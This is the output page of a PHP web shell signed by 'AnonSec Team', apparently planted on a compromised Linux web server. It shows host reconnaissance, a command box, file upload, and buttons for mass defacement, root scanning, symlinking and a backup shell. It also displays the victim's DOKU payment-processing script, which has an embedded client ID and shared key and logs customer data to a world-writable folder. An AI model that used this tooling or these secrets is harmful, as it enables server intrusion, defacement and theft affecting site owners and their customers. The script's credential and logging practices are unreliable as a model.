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/  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/doku/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/doku/processing.php
<?php
require_once "vendor/autoload.php";
require_once "vendor/autoload.php";
header("Content-Type:application/json");

$arr = json_decode(file_get_contents("php://input"), true);

//Setup Parameter VA
$paramsVa = array(
    'customerEmail' => $arr["email"],
    'customerName' => $arr["customerName"],
    'amount' => $arr["amount"],
    'invoiceNumber' =>  $arr["invoiceNumber"],
    'expiryTime' => $arr["expiredTime"],
    'info1' => $arr["info1"],
    'info2' => $arr["info2"],
    'info3' => $arr["info3"],
    'reusableStatus' => $arr["reusableStatus"]
);

//Setup Parameter CC
$order_data = array();
$order_data[] = array('price' => $arr["amount"], 'quantity' => '1', 'name' => 'item1', 'sku' => '123457890', 'category' => 'php-library', 'url' => 'https://www.doku.com/');
$paramsCc = array(
    'customerId' => 'ID-123456',
    'customerEmail' => $arr["email"],
    'customerName' => $arr["customerName"],
    'phone' => $arr["phoneNumber"],
    'country' => 'ID', //'ID' in english
    'invoiceNumber' => $arr["invoiceNumber"],
    'amount' => $arr["amount"],
    'lineItems' => $order_data,
    'urlFail' => 'https://www.google.com',
    'urlSuccess' => 'https://www.doku.com',
    'language' => "ID", //'ID' in english
    'backgroundColor' => '',
    'fontColor' => '',
    'buttonBackgroundColor' => '',
    'address' => $arr["address"],
    'buttonFontColor' => ''
);

//Setup Parameter Emoney
$invoiceNumber =  $arr["invoiceNumber"];
$ovoId = '081211111111';
$checkSum = hash('sha256', $arr["amount"].$arr["clientId"].$invoiceNumber.$ovoId.$arr["sharedKey"]);
$paramsEmoney = array(
    'customerEmail' => $arr["email"],
    'customerName' => $arr["customerName"],
    'phone' => $arr["phoneNumber"],
    'country' => $arr["country"],
    'invoiceNumber' => $invoiceNumber ,
    'amount' => $arr["amount"],
    'lineItems' => $order_data,
    'urlFail' => 'https://www.google.com',
    'callbackUrl' => 'https://www.doku.com',
    'expiredTime' => $arr["expiredTime"],
    'clientId' => $arr["clientId"],
    'checkSum' => $checkSum,
    'ovoId' => $ovoId,
    'notifyUrl' => 'https://www.doku.com',
    'channel' => $arr["channel"]
);

$dokuClient = new DOKU\Client;

// Setup Config
$dokuClient->setClientID('BRN-0276-1711947012408');
$dokuClient->setSharedKey('SK-oZPPy2fUZXIahASxAw65');
$dokuClient->isProduction(false); // Sandbox environment. For example project only.

// Generate VA based on channel chosen
if ($arr["channel"] == "dokuva") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsVa, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateDokuVa($paramsVa);
} else if ($arr["channel"] == "bankmandiriva") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsVa, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateMandiriVa($paramsVa);
} else if ($arr["channel"] == "bcava") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsVa, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateBcaVa($paramsVa);
} else if ($arr["channel"] == "bsiva") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsVa, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateBsiVa($paramsVa);
} else if ($arr["channel"] == "briva") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsVa, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateBriVa($paramsVa);
} else if ($arr["channel"] == "creditcard") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsCc, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateCreditCard($paramsCc);
} else if ($arr["channel"] == "shopeepay") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsEmoney, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateShopeePay($paramsEmoney);
} else if ($arr["channel"] == "ovo") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsEmoney, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateOvo($paramsEmoney);
} else if ($arr["channel"] == "dw") {
    doku_log("Params Request ", 'PHP-Library Request : ' . json_encode($paramsEmoney, JSON_PRETTY_PRINT), $arr["channel"]);
    $obj_response = $dokuClient->generateDokuWallet($paramsEmoney);
}

doku_log("Data Responses ", 'PHP-Library Response : ' . json_encode($obj_response, JSON_PRETTY_PRINT), $arr["channel"]);

if (isset($obj_response) && !isset($obj_response['error'])) {
    echo json_encode($obj_response);
    die;
} else {
    http_response_code(404);
    die;
}

function doku_log($class, $log_msg, $invoice_number = '')
{
    $log_filename = "doku_log";
    $log_header = date(DATE_ATOM, time()) . ' ' . 'Data ' . '---> ' . $invoice_number . " : ";
    if (!file_exists($log_filename)) {
        // create directory/folder uploads.
        mkdir($log_filename, 0777, true);
    }
    $log_file_data = $log_filename . '/log_' . date('d-M-Y') . '.log';
    // if you don't add `FILE_APPEND`, the file will be erased each time you add a log
    file_put_contents($log_file_data, $log_header . $log_msg . "\n", FILE_APPEND);
}

Anon7 - 2022
AnonSec Team